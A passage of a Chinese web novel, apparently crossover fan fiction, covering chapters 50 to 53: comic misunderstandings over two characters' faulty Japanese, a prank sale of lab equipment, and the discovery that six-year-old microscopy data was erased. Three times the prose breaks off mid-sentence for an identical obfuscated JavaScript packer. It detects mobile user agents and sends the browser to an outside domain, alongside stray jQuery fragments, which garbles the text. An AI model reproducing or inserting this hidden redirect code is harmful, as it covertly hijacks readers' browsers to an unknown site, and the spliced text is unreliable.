他刚想认真邀请对方吃饭，然而西格玛眼中闪烁着对知识的渴望，一口拒绝了他的好意，毫不拖泥带水地冲向了飞船：——他要回去继续背客户信息，这可是他向强者进发的第一步！ 长岛京悟看着这架充满了科技与漫画双重气息的球形飞船，眼睁睁看着它“嗖”的一声消失在夜幕之中，消失得比任何赌徒都要果断。他沉默了几秒，慢慢关上天台的门，回到自己的公寓。 在电梯里，他忍不住想： ——今天发生了什么？ 为什么总感觉自己和某种奇妙的事情擦肩而过了？ 。 当长岛京悟走回客厅时，果戈里正悠闲地窝在沙发里，手里拿着手柄，对着大屏电视玩游戏，目光专注，神情放松。听见动静，他随口道：“怎么，西格玛走了？” 长岛京悟叹了口气，一屁股坐下，随手拿起另一个手柄加入战局，语气死气沉沉：“……我现在感觉好像说错了什么话，他好像看上去很燃地走上了奇怪的道路。” 果戈里眼睛都没离开屏幕：“没事，我们西格玛从小到大都是这个样子的。” 长岛京悟觉得这句话似乎没什么逻辑，但他现在不想深究。他调整了一个舒服的坐姿，叹了口气：“……来吧，打一波大乱斗。” 果戈里顿时来了精神：“那你可是踢到铁板了，我今天一定要——” 屏幕上，他的角色在下一秒被长岛京悟精准地一发暴击带走。 果戈里：“？？？” 长岛京悟缓缓放下手柄，慢吞吞地拿起水杯喝了口水。 50.长岛请睁眼，今晚你和谁睡 果戈里和长岛京悟连着打了五个小时的大乱斗。 随着天色越来越黑，长岛京悟的生理机能也开始向社畜极限逼近。他渐渐眼神涣散，反应迟缓，操作逐渐摆烂，最后一局发现打不过了之后甚至干脆跳崖自杀了。反观果戈里，作为一个不受人类生理规律支配的存在，此刻不仅没有疲惫，反而像是状态愈战愈勇，精神抖擞。 长岛京悟忍不住产生了一个邪恶的念头：不如让果戈里自己去跟电脑打文明6吧。他可以开一局马拉松速率，科技、文化、军事三线发展，把果戈里丢进去。不把一个人逼上绝路，都不能看清楚这个小登能够熬多长时间。 说干就干，他正要打开电脑执行这个计划的时候，门铃响了。 长岛京悟身上一点力气都没有，他默默祈祷果戈里还没有丧失最后的一点人性，用气音柔弱地说：“尼古莱，你去开门吧。” 果戈里甚至连眼皮都没抬，无比理所当然地拒绝了：“不想动，你去。” ……这小登。长岛京悟恶狠狠地在心里用恶毒的词藻辱骂，然后他深吸一口气，认命般地迈着虚浮的步伐去拉开了门。 门外站着的是赤井秀一。他看上去洗了个澡，换了一身干净衣服，整个人看上去精神许多，脸色也没有早上那么失血过多的苍白了。他背着自己的书包，左手提着一个超市的塑料袋，右手抱着一个枕头。看见长岛京悟后他露出一个温和的笑容。 赤井秀一说：“前辈，今天晚上也拜托收留了。我带了点零食、买了一点食材，前辈要是没吃晚饭的话，我还可以给你做点吃的。” 长岛京悟感激地说：“你看看你，来就来吧，还带那么多东西干什么。”说着他伸手接过塑料袋，侧身让赤井秀一进门。 赤井秀一立刻发现了还坐在沙发上打游戏的果戈里。如果说这个世界上有什么生物能让赤井秀一本能性地提高警惕，果戈里绝对是其中之一。他和这个小登打过几次交道，而每一次都以他莫名其妙地被迫害告终，导致他现在看到果戈里就会产生某种条件反射般的不安。 但是和登的交往是有二向性的：你可以无视小登，但小登不会无视你。 果戈里朝他挥了挥手：“原来是你来了，长岛的挚友。” 他也看见了装着食物的袋子，下一秒钟袋子里的薯片就通过他的斗篷到了手里，过程流畅得像是设置了快捷键。果戈里打开袋子，咔呲咔呲地吃着薯片，含混不清地说：“你今天晚上也要来和长岛睡吗？” 。 空气一瞬间陷入了一种微妙的死寂。长岛京悟表情空白了两秒，才反应过来果戈里的意思。 如果这个世界上有“日语使用灾难排行榜”，果戈里刚刚那句话绝对能冲进前五。 长岛京悟强行深呼吸，试图平复自己快要断掉的理智，同时努力从逻辑上思考这个灾难性的语句到底是怎么形成的。 其实仔细想想，这个情况也不是完全不能理解。毕竟果戈里说到底是个俄罗斯人。也就是说，他的母语是俄语。之前他在旧金山做魔术表演时也一直用的是英语。但自从知道他们是日本人之后，这家伙就入乡随俗地全程讲日语了。 他的日语讲得极其流畅，不仅没有任何口音，甚至还能说出不少连本地人都未必能掌握的流行梗。这就导致长岛京悟在大多数时候都快忘记这家伙其实是个外国人了。 果戈里的流利日语大概能骗过绝大多数的普通人，但是长岛京悟现在算是清楚了，这种流利只停留在表面，它就像是一层极其薄的糖衣，只要轻轻一戳，就会露出里面那堪比俄式拼音输入法的灾难现场。 而他现在，正处在糖衣破裂的第一排观众席。 目前这个社会的道德体系对于外国人乱造词这种事情是极其宽容的。哪怕果戈里刚才那句日语对他的精神造成了毁灭性打击，只要这句话是从一张明显不是日本人的脸里说出来的，世界上的大多数人都会温柔地原谅他。 ……但这并不意味着他就可以因此为所欲为！！！（尖叫） 今晚他长岛京悟就得拿出在推特上大战克莉丝温亚德黑粉的气势，从语言学的根源上纠正果戈里的错误。他得给果戈里从头到尾讲一遍日语语法，让他清楚地理解“睡”这个词在不同语境下的确切含义。之后他要找十几篇关于这个词的日语完形填空，让果戈里逐一做完，必须全对才能继续玩他的Switch。这个小登要是不学好日语，今晚就别想碰游戏机。 长岛京悟暗暗下定决心，今晚无论如何都要把果戈里的日语纠正过来。然而，他还没来得及开口，就听见赤井秀一冷笑了一声，语气里满是挑衅：“睡而已，碍着你了？不是你一开始拒绝和他睡的吗？” 长岛京悟：“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984250|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他缓缓地转头，看向赤井秀一，整个人已经麻木了。他现在就像是一个刚刚进入战场的新兵，正要给敌人最后一击，结果发现队友突然转头朝自己开了一枪。 他刚才还以为自己只需要给果戈里上一节日语课。但现在，他发现这个问题比自己想象的更加棘手。 ……因为赤井秀一好像压根没有意识到果戈里的日语有问题。 。 赤井秀一，FBI精英，枪法神准，作战冷静，情报能力超群。他是一个完美的人，除了他也讲着一口塑料日语。 他虽然是日本人，但从小在英国长大，之后又来美国读书。换句话说，他日语的学习环境很随缘。再加上他的性格本来就不怎么热衷于与人日常交流，导致他掌握的日语虽然听上去十分流利，但本质上就是和果戈里一样，是日语外壳、英语思维。 果戈里说的话，他不仅完全没有听出问题，反而觉得这句话像是在挑衅自己。毕竟，他和果戈里之间有着夺公寓之恨：果戈里昨晚毫不留情地把他赶出1503，导致他不得不在长岛京悟的客厅借住。所以，当果戈里刚才那句“你今天晚上也要来和长岛睡吗？”传入赤井秀一的耳朵里，他的大脑自动屏蔽了语法错误的可能性，直接翻译成了某种挑衅性的试探。 于是，他毫不犹豫地反击了回去：“睡而已，碍着你了？不是你一开始拒绝和他睡的吗？” 他这句话一出，果戈里果然也感到了挑衅。他咬着薯片，眯起眼睛，嘴角露出一个微妙的笑容：“你这句话很讨厌。那我把你杀了，长岛今晚就只能和我睡了。” 赤井秀一瞳孔一缩，警觉地抬起头，眼神瞬间变得危险。 他的手摸向书包，战争一触即发。 长岛京悟：“……” ——我受够了，我真的受够了！！！（声嘶力竭） 他本来只是想让果戈里学好日语，但现在情况已经发展到了两个塑料日语人的互相误解环节，整个对话逻辑正在朝着不可控的方向飞速狂奔。他深吸了一口气，努力告诉自己不能崩溃。 然后，他转身就往自己的房间走去。 赤井秀一看见他离开，问：“前辈，你去哪里？” 长岛京悟头也不回，语气平静：“去打印十几份日语完形填空，今晚我们三个一起做。” 有一个算一个，谁都别想跑。 51.登想要，登做到 完形填空就是永远的神。 果戈里看到长岛京悟真的掏出了一厘米厚的双面打印A4纸，跑路速度比兔子还快。他摘下帽子，像是魔术表演谢幕的魔术师，优雅地行了个礼，然后纵身一跃，直接跳出窗外，消失在了夜色之中。 长岛京悟站在窗边，目送着他毫无留恋地远去，若有所思地捏了捏那叠无人认领的试卷，感慨地说：“知识就是力量啊。” 赤井秀一低头看了眼那厚厚的A4纸，默默点了点头。 但这都不重要，重要的是世界终于清净了。 没有小登的夜晚，值得大肆庆祝！ 长岛京悟和赤井秀一一拍即合，决定开火煮一大锅豪华版辛拉面当夜宵。泡面本身就足够罪恶了，然而两人显然毫无节制，火腿、芝士、溏心蛋、葱花一股脑地往锅里加，最后甚至有点后悔锅不够大。 等面煮好，长岛京悟提议：“端到茶几边，窝在沙发上边吃边看电视吧。” “好主意。”赤井秀一点头表示赞同，端着锅一起坐到了沙发上。 电视打开，屏幕里正好播放着著名影星莎朗·温亚德的访谈节目。 镜头里，驻颜有术、美貌依旧的莎朗端坐在沙发上，神情悲伤又优雅。她妆容无懈可击，连泪水都仿佛是特意点缀的高光，控制得刚刚好，不至于狼狈，但又足够惹人心疼。 主持人坐在一旁，表情凝重，语气沉痛，熟练地拱火：“所以您是说，您的亲生女儿，克莉丝·温亚德，十八岁就搬离了家，至今不愿意和您见面？” 莎朗咬住下唇，眼角微微泛红，轻轻点头。 主持人皱眉，神情更痛心了一点：“她做出这个决定的理由，是因为你们发生了什么冲突吗？” 莎朗叹了一口气，语气里带着深深的哀伤：“我不清楚，或者说，我可能从来不理解我的女儿。她觉得家里很压抑，没有一点温暖，说我控制欲太强。”她哽咽了一下，声音微微颤抖：“在她十八岁那一年，她认识了一个亚洲小伙子……” 主持人赶紧追问：“然后呢？” 莎朗擦了擦眼泪：“他给她煮了一碗粥。她说，那是她人生中第一次觉得有家的感觉。然后，她就决定和我恩断义绝了……” 长岛京悟默默换台。赤井秀一挑了挑眉，探究地看了他一眼，随口问：“前辈是莎朗·温亚德的粉丝？” 他之所以会问这个，是有原因的——赤井秀一曾在同一期冬令营里结识了一个关系很好的朋友，朱蒂。朱蒂曾无比笃定地告诉他，她的全家都是被莎朗·温亚德杀害的。莎朗不仅仅是个影星，还是那个黑衣组织的成员。长岛京悟之后卧底进组织，极有可能会与莎朗正面对上。如果他是莎朗粉丝的话，说不定会被莎朗迷惑、策反，之后的情报交接也需要更加谨慎。 “不是。”长岛京悟叼着筷子，头也不抬，“我是她女儿的粉丝。我们两家掐架掐得很厉害的。”他说到这里，顿了一下，突然抬起头，神情严肃起来：“难道你是莎朗的粉丝吗？” 赤井秀一毫不犹豫地否认：“我不是。” 长岛京悟舒了口气，整个人放松了一些，继续低头吃面：“其实你要是的话也无所谓。我有一个网友，大概率是个女子高中生吧，特别喜欢莎朗，我们认识的原因就是在莎朗的Instagram评论区用日语掐架。” 赤井秀一：“……你跟一个高中生掐架？” “一开始不知道嘛，这年头上网又不需要报年龄。她是个女高也只是我猜的，不过这不妨碍她是个好姑娘。”长岛京悟若无其事地说，“掐了好几回，反而成了朋友。我们现在还经常互发一些搞笑视频。” “这样啊……”赤井秀一想了想，很认真地说：“前辈，你回了日本之后我们也要保持联系。如果你遇到了任何危险，call me。” 有人关心、被人保护的感觉真的很好。长岛京悟微微侧头，感激地看向赤井秀一。从他的角度，只能看到对方英俊的侧脸。赤井秀一的睫毛过分地长，他垂下眼睑的时候可以在脸上投下一小片像是黑眼圈一样的阴影。 他在这一刻温暖地感受到：赤井秀一虽然总是看上去很冷酷，但是实际上是一个有细腻情感的少年。或许是成长环境的缘故，他被迫迅速成长为一个可靠的、甚至在必要时显得有些狡猾的成年人，但在他沉稳冷静的外表之下，依旧藏着一个燃烧着熊熊生命力的灵魂。 他不会轻易把关心挂在嘴边，也不会用煽情的言语表达自己的情绪，但他会用行动去守护身边的人，不动声色地给予安全感。 ——而且他也很强，在这个网络时代，值得称他一句“强哥”。 他们又看了会电视，有一搭没一搭地聊着，直到夜色越来越深，困意逐渐袭来。长岛京悟把锅端回厨房，两个人各自洗漱睡觉了。 。 长岛京悟第二天是被自己的手机铃声吵醒的。他迷迷糊糊地翻了个身，伸手在床头摸索着手机，接通电话。 电话里传来刘伟号哭：“前辈你在哪里啊？” 长岛京悟瞬间被这绝望的声音震醒，鲤鱼打挺地坐了起来：“怎么了？” 但刘伟根本没有正面回答，只是一味地重复：“前辈，你现在在哪里？你什么时候来实验室？” 长岛京悟的心顿时凉了半截：这话听着，绝对不是什么好兆头。他顿时也慌了。 “……出什么事情了？你先别着急，先跟前辈说，怎么了？” 他竭力让自己的声音听起来镇定一些，但已经开始本能地做最坏的心理准备。 ——最坏的情况莫过于是-80度冰箱断电了。 这个念头一旦出现，长岛京悟整个人都不好了。 他们实验室所有珍贵的蛋白质样本都在这个冰箱里。那些样品，是无数人的心血，数月、甚至数年的研究结晶，价值粗略估计都在百万美金以上。 但钱不是最可怕的。最可怕的是：在学术界有一条不成文的规定，所有正式发表的论文，实验中使用的关键样品都必须保留一部分，以供日后复现实验数据时进行验证。也就是说，如果-80真的出事了，他们所有已经发表的论文，都要重新准备一份论文里用到的所有样品。而他们提取样品的流程中还用到了许多已经停产、花再多钱都买不到的化学试剂。 ……那得干到猴年马月啊！ 想到这里，长岛京悟眼前一黑，仿佛已经看见自己未来的几年里，被困在实验室，天天重复做那些他早就已经做过的实验，直到他头发全白、博士读到七十岁。 如果真是这样，哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995558|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕琴酒亲自上门把系里的人都鲨个干净，也没法在高压下让他顺利毕业了。强如组织，也大概不会想要和一整个学术界为敌。 但刘伟接下来的话，让他意识到自己可能还是想得太简单了。 刘伟抽了抽鼻子，崩溃地说：“前辈，老板来实验室了，他今天不知道发了什么疯，给每一个器材拍了照片，挂在了ebay（美版闲鱼）上。才一会儿的功夫，已经有人买下了我们的超离心机，马上要过来提货。” 长岛京悟的大脑一瞬间宕机了三秒，试图处理这个信息。但是他还没来得及消化，就听到电话那头的刘伟突然一声惊恐的尖叫： “老师，老师，那是我们的-80啊老师，老师你醒醒！！” 长岛京悟的呼吸一滞。 如果说把他们每天都要用到的超离心机卖掉已经是学术圈地震级别的操作，那敢动-80度冰箱，简直就是灭世级别的灾难现场。这不光是他们实验室的损失，这是整个系、整个学院，甚至整个学术界的损失！ 电话那头，刘伟急促地喘了几口气，然后飞快地说道：“前辈，我现在去阻止老师把我们的-80卖掉，前辈你赶紧过来啊！” 说完他就挂断了电话。 。 老板？他不是已经被日本公安护送到机场、现在应该落地日本了吗？长岛京悟还没完全从震惊中缓过神来，但本能已经让他迅速起床，手忙脚乱地穿衣服。 他一边把袜子穿上，一边开始思考：如果日本公安那边什么消息都没有发过来，说明计划一切正常。计划一切正常的话，那这个老登的皮下应该是…… ……果戈里。 又是这个小登！！！ 长岛京悟狠狠地拍了一下大腿，试图用物理攻击让自己冷静下来。传来的痛觉告诉他，自己并没有做什么离经叛道的梦，他真真切切地活在现实之中。 但这也意味着，现实比梦还离谱。 也就一个晚上的功夫，果戈里究竟去了哪，又到底在发什么疯？ 长岛京悟匆忙穿好外套。他走出房门，客厅里，赤井秀一正叼着一片烤吐司，动作随意地冲他打了个招呼。 长岛京悟语速飞快地说：“秀一，赶紧收拾一下，我们现在要去实验室。” 赤井秀一皱了皱眉，明显听出了这不像是普通的早起上班，于是问道：“出什么事了？” 长岛京悟恶狠狠地说：“果戈理要把实验室卖了。” 赤井秀一：“……他要干什么？” 长岛京悟咬牙切齿地重复道：“他要把实验室卖了。” 赤井秀一的动作停滞了一瞬，他缓缓眨了眨眼，显然大受震撼。他语气复杂地问：“……实验室还能卖吗？” 但长岛京悟根本没时间解释科学仪器的市场流动性，他自己也不想去思考这件事的逻辑有多么荒唐——因为事实就是，这个世界上根本不存在一个登做不到的离谱事。不仅仅果戈理是这样，全世界的登都是如此。 长岛京悟痛苦地扶了扶额，然后迅速抓起桌上的吐司，塞进自己嘴里，试图用碳水补充足够的精神力，以应付接下来可以预见的鸡飞狗跳的一天。 他一边以最快的速度咀嚼着，一边把手机塞进口袋，大步流星地往门外冲。 52.天凉了，该背刺师兄了 长岛京悟赶到实验室的时候正看到刘伟环抱着-80，一副今天谁要是动这个冰箱就要从他的尸体上跨过去的架势。他旁边站着虎视眈眈的老登，左手拿着手机，右手试着把刘伟从冰箱上扒拉下来。 刘伟看到长岛京悟来，就好像看到了救命稻草。他放开冰箱，猛地扑向长岛京悟：“前辈，你终于来了！” ……长岛京悟看到这里，莫名松了口气。 他很确定，果戈里要是真的要动真格的，刘伟在他手下走不过一个回合。而现在，这两人居然还能围绕着一台冰箱展开攻防战，甚至打得有来有回，说明果戈里纯粹就是在玩刘伟。 披着老登皮的果戈里看见长岛京悟，有点ooc地笑了一下，但是很快就回到了老登的壳子里，板起脸，语气还原得七七八八：“你来了啊，京悟。” 长岛京悟把可怜的刘伟护在身后，沉声道：“……是啊老师，我来了。你先放下手机，咱们有话好好说。” 。 老登的办公室。 长岛京悟咬牙切齿：“你有病吧，这是干什么？” 果戈里一脸无辜：“我昨天晚上回到你老师家，那两个警官让我今天搞点动静，给那个什么杀手添添堵。” 长岛京悟瞪了他一眼，然后直接掏出手机，拨通了大蜘蛛警官的电话。大蜘蛛警官接通得很快：“你好，长岛君？” 长岛京悟直接开了免提，语气平静：“您好，我想问问您，昨天是不是和这个俄罗斯人说让他搞点大新闻？” 大蜘蛛警官说：“有的，他当时应得很快，说保证完成任务。怎么了吗？” 长岛京悟：“……下次这种活动这个人不参与了哈。” 大蜘蛛警官：“……诶？” 长岛京悟直接挂断了电话。 果戈里摊手，一副“我和你说了吧”的表情。 长岛京悟：“别这么看着我。我知道你还想继续逗那个本科生。”他语气一顿，语重心长道：“但你不能像玩西格玛一样玩他。” 虽然他对西格玛的过去了解不多，但单凭他出生时的奇葩现场来看，果戈里显然没少对他进行精神与物理上的双重摧残。西格玛好歹是个异能力者，生命力比他和刘伟这些普通牛马强多了。果戈里再搞几波事情，他那么大一个师弟就要被玩死了！ 果戈里还想说什么，长岛京悟双手比了个叉，警告般地说：“打咩。”他顿了顿，“捣蛋鹅的番外任务你做完了吗？没做完吧。一个人做不完的，你需要我跟你打配合。” 果戈里不甘心地点了点头。 长岛京悟安抚完果戈里，身心俱疲地回到自己的工位。他抱着自己的抱枕在座位上发了会儿呆，就看见赤井秀一安慰了还在瑟瑟发抖的刘伟后，武德充沛地过来找他一起去细胞间查资料。 他才想起来，他们约定今天一起去细胞间调查小野鹤子给他们留下的线索：六年前，九月十七号的共聚焦显微镜数据。 。 长岛京悟查了一下细胞间的预约情况，然后带着赤井秀一换好了实验服。走进细胞间，培养液的腥味混杂着酒精消毒液的味道扑面而来。他没有直接去显微镜室，而是左拐，敲响了管理员乔纳森的办公室门。 里面传来一个男声：“门没锁，请进。” 长岛京悟两人就进了乔纳森的办公室。乔纳森低着头盯着电脑，惨白的脸配着两个硕大的黑眼圈，在实验室冷色调的灯光下显得十分瘆人。听见了他们进来的声音，乔纳森用余光撇了他们一眼：“京悟。带学生啊？” 长岛京悟说：“是，带他来学一下细胞培养。” 乔纳森微微点了下头：“你又要预约周六十五个小时的细胞间做复苏和传代？你今年已经干了三回了。你们实验室没别人了吗，非要你一个人干所有的活？” 长岛京悟：“……别提了。老登不招人，我能怎么办呢，我也很无奈啊。今天不是这个事情，这个每三个月做一次就行了，不然我吃不消。”他哥俩好地拍了拍乔纳森的肩膀，“我想拜托你件事。” 乔纳森立刻警觉地说：“你先跟我说是什么，我再看看我能不能帮。” 长岛京悟：“我想查六年前的共聚焦显微镜的资料。” 乔纳森一听，眉头皱了皱：“今天查不了，我下午有事。六年前的资料那得翻到猴年马月。” 长岛京悟：“没事，我自己来就行。你给我云端的密码，我自己翻完就下线。或者我把我电脑搬过来，我坐在你办公室地上查也没问题。” 乔纳森：“你查那玩意干啥呢？实验复现不出来吗？” 赤井秀一刚想说不，长岛京悟立刻抢答：“六年前，我实验室一个师兄没做出来的课题现在交到我手上了。他已经毕业了，完全失联。他的实验记录本就是狗屎。别提他的实验组了，我连他的控制组都做不出来。”他面色不善，“鬼知道他之前做了什么，所以我想看看源数据。他要是学术造假，我非得举报到让他丢掉这个学位不可。” 乔纳森怜悯地看了他一眼。他想了想，说：“好吧，照理我是不能给你云端账号和密码的，但是你师兄做的实在不地道。”他从抽屉里掏出一张便签纸，刷刷写下两串字符，“账号和密码。你自己去查吧，我明天早上会检查有没有数据更改，然后改密码，所以别做不该做的事。” 长岛京悟接过便签纸，感激地拍了拍乔纳森的肩膀：“谢谢你了，兄弟。” 乔纳森摆摆手，语气里带了点劝诫：“不过你师兄真要干了什么不该干的事，还是放他一马吧。六年后再把他揪回来重新答辩，他可能直接自杀。我那一届就有一个这样的，早上通知他来听证，下午就跳了。” 长岛京悟闻言，沉默了一瞬。然后他笑了：“行，听你的。” 。 长岛京悟回到实验室后，立刻登进了云端数据库。 他们的云端后台简陋得像是上个世纪的遗留产物，没有现代化的用户界面，也没有便捷的搜索功能，数据管理方式极其原始，完全依赖鼠标下滑。 他盯着屏幕，认命地叹了口气，然后开始滚动鼠标。 六年的数据量，堆积得如一座无形的山。没有索引，没有筛选功能，每条记录仅以时间戳+随机编号呈现，仿佛是在沙漠里寻找一粒特定的沙子。 长岛京悟强忍着砸键盘的冲动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15016693|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，靠着一点科研人的韧劲，开始手动往下翻。 页面的滚动条肉眼可见地缩短了一点，再一点……半个小时后，他的手快要抽筋，但是他终于滑到了六年前九月份的备份。 他和赤井秀一期待地盯着屏幕——九月三十，九月二十，然后停留在九月十七号。 九月十四号有三组数据，其中的确有一组属于宫野厚司！ 他们屏住呼吸。长岛京悟的手在颤抖，他分不清是因为兴奋，还是因为握了太久鼠标。他输入进入这个文件夹的指令。 下一秒，屏幕上弹出了一行字： No Files Found ……文件夹是空的。 长岛京悟死死地盯着屏幕，怀疑自己的眼睛出了问题。 他强行镇定了一下，确认自己点进去的确实是 “20XX-09-17_Confocal_Miyano” 文件夹，而不是鼠标抖了一下点偏了什么鬼地方。可事实摆在面前——文件夹里什么都没有。 “……你确定是这里？”赤井秀一的声音从旁边传来，语气意外地冷静。 “当然。”长岛京悟的牙关咬得死紧。他飞快地检查了一遍路径，试着后退再进入，甚至换了一个终端打开，但那一行讽刺的 “No Files Found” 依旧稳稳地挂在那里。 他按捺住怒火，深吸一口气，点开文件夹属性查看最后修改时间。结果，那行数据赫然显示—— [最后修改时间：20XX年9月17日 23:57] 数据在实验当晚就被清空了。 长岛京悟的手指缓缓收紧，指节微微泛白。 “看来，六年前就有人不希望这份数据被保留下来。”赤井秀一冷静地说道，目光微微眯起，显然也意识到了这件事的严重性。 ——六年前的夜晚，不仅是小野鹤子留下的线索，也是这份数据被彻底抹除的时间。 是谁？ 长岛京悟的心跳加快了一拍。他的大脑迅速运转着，把所有可能性在脑海里过了一遍：宫野厚司自己删的？实验室其他人干的？是外部侵入系统删除的？ 长岛京悟突然有种不寒而栗的感觉。 他把鼠标移到上一层文件夹，试图翻找其他日期的备份——但凡实验数据，一般不会只存一份。前后几天的数据也能给他们提供可观的信息。 他迅速往前翻查，九月十六、九月十五……他的手指飞快滚动着鼠标滚轮，眼睛一行行扫过数据目录，直到他猛然停住。 ——九月十七号之前，所有宫野厚司的共聚焦数据，全都不见了。 他再往后翻，不出所料地发现，不仅是那一天，他整个九月份的实验数据，全部消失得干干净净。 赤井秀一看着屏幕，眉头也微微皱起：“……看起来，不是随意清理，而是有人刻意把整个时间段的数据全部清空。” 这不是某种随意的误操作，而是一次精准的、彻底的销毁行动。 六年前的九月份，宫野厚司的实验数据被清理得一干二净。 就像是—— 那组实验，从来没有发生过。 53.复现实验的条件是现役牛马 到底是什么成果，能让六年前的实验数据被彻底抹去，让所有知情者缄口不言，甚至让一个跨国犯罪组织不惜千里派遣杀手，只为让试图发表它的人，永远沉默？ 长岛京悟的手指死死攥住鼠标，指节微微泛白。他本能地吞了吞口水，喉咙干涩，心底某个隐隐的不安逐渐扩大，如潮水一般漫上脊背，带来阵阵寒意。 小野鹤子提到，宫野厚司的研究涉及神经细胞的再生。 神经再生是衰老研究的圣杯。在人类的所有细胞之中，唯独神经元无法再生。当医学已经发展到可以利用干细胞培养出体外器官，甚至进行器官替换时，没有任何人能逆转大脑的衰老。 神经元的丧失是不可逆的，就如同生命的终结一样。 长岛京悟始终相信，即便未来的医学能让人更换器官、筋骨、甚至血液，只要神经衰亡的课题没有被攻克，人类仍然无法摆脱死亡的桎梏。 因此，任何与神经再生相关的研究，哪怕只取得了微小的进步，都会成为整个生命科学领域的焦点。 他毫不怀疑宫野厚司六年前做出了某种突破。但是在这个遍地都是突破的学术界，他到底做到了哪一步？ 最有可能的是，他提出了一种有实践性的假设，或是发现了某种特殊的可以用于制药的机理。但是如果只是这种单纯的理论突破，组织大可不必如此大动干戈。学术理论再先进，离实际应用都有着千沟万壑，何况人类至今对神经再生的研究仍处于初级阶段。 ……但如果这项研究已经接近应用呢？ 如果宫野厚司不只是提出了假设，而是在实验室里真正诱导了神经元的再生，那么这就不仅仅是一个学术突破，而是足以撼动整个世界医学体系的技术革命。 但是组织不是慈善家，他们不在乎普通人的生命，也不会为了全人类的福祉而推动这个医疗革命。他们唯一关心的，是如何让少数掌权者在生命的棋盘上，获得永远不被淘汰的优势。 换句话说，组织想要独占这项突破性的成果，让金字塔尖的极少数人获得逆转时间的能力，让衰老成为可控变量，让真正的“永生”成为特权。 。 长岛京悟被自己的假设吓出了一身冷汗，但是很快又镇定下来。 科研第二定律：理想很丰满，现实很骨感。 哪怕六年前宫野厚司真的做出了这种惊天动地的突破，也不意味着他的成果能在短时间内被应用。生物实验的复现率本就堪忧，更不用说是涉及神经再生这种极限挑战级别的课题。数据可以惊艳，但科学的鸿沟并不会因此缩短。实验结果再震撼，如果无法稳定复现，依旧是空谈；即便能够复现，离真正可控、可用、可量产，也仍然隔着无数道深渊。 组织的愿望确实美好，但问题在于，他们有没有那个能力去实现？ 如果组织已经完全掌握了神经再生的技术，他们根本不需要在这个时间点招揽他。事实上，单从他们正在重组研究团队，甚至不惜重新建立一个全新的研究所这一点来看，组织显然并未真正掌控这项技术。 如果他们还在寻找突破口，他们的进展应当远没有想象中顺利。 在这样的情况下，六年前的实验资料便显得尤为重要。 这里的“资料”不仅仅指显微镜下记录的实验数据，更关键的，是当时实验的全部条件——使用的试剂配方、实验操作的具体流程，甚至是空气湿度、温度，乃至实验进行的时间点，都可能成为影响复现实验成功率的关键变量。 科学研究的复现往往不只是实验的复刻，而是环境、操作、变量的精确再现。而这些细节，或许正是组织至今未能完全复现六年前研究成果的原因之一。 宫野厚司的突破，是在老登的实验室里完成的。但现在问题在于，他离开那间实验室已经整整六年了。再惊人的研究成果，也无法依靠“记忆”复现。即便他本人仍在负责研究，六年的时间足以让他遗忘无数关键的实验细节。实验室用的培养基比例？试剂的厂商、批次？细胞传代的间隔？甚至连实验室的温湿度，都可能是关键变量。这或许是为什么他们不惜一切代价也要再从老登实验室招一个现役牛马的原因—— 因为只有仍然在那间实验室里工作的人，才知道这些至关重要的细节。 他们需要一个还在实验室里、仍旧每日操作相关实验、熟悉所有细节的人，而不是一个依靠回忆摸索的科学家。 。 不过话说回来……如果正如马蒂尼所说，组织拦截到的信息是老登准备发表一篇与此相关的论文，那么按照学术界的标准规范，实验中使用的所有关键样本、数据和实验条件，都需要有备份留存，以便同行评审和未来复现研究。 换句话说，即便六年前的实验数据被删除，实验样本理论上仍然应该被存放在某处。 老登既然有胆子准备投稿，那就说明他至少掌握了一部分关键数据，甚至可能已经重新跑了一遍实验，以确保论文结果的可靠性。 也就是说，无论六年前的数据是否被抹除，老登手里一定还有一部分实验的核心内容——或者已经复现出的部分。 长岛京悟的思绪翻涌，突然猛地闪回了一件事—— 老登通过果戈里给他传递的信息：B307，装液氦的罐子里，有重要的东西。 他之前还没来得及深究这条信息，但现在回想起来，这句话简直就是一个再明显不过的暗示：老登把东西藏在了那里！ 长岛京悟猛地站起来，椅子在地上划出刺耳的响声。 。 B307实验室。长岛京悟站在门前，他感觉自己的心脏马上要从胸腔里跳出来。 B307的门不同于普通实验室，采用的是电子门禁系统。而且，因为位于地下，这里没有窗户，封闭得让人窒息。他取出自己的ID卡，在读卡器上刷了一下，伴随着一声“滴”的轻响，门锁解开。 他推开门，一股地下室特有的微弱霉味扑面而来。室内安静得仿佛被时间遗忘，没有人在做实验，连空气都显得凝滞。 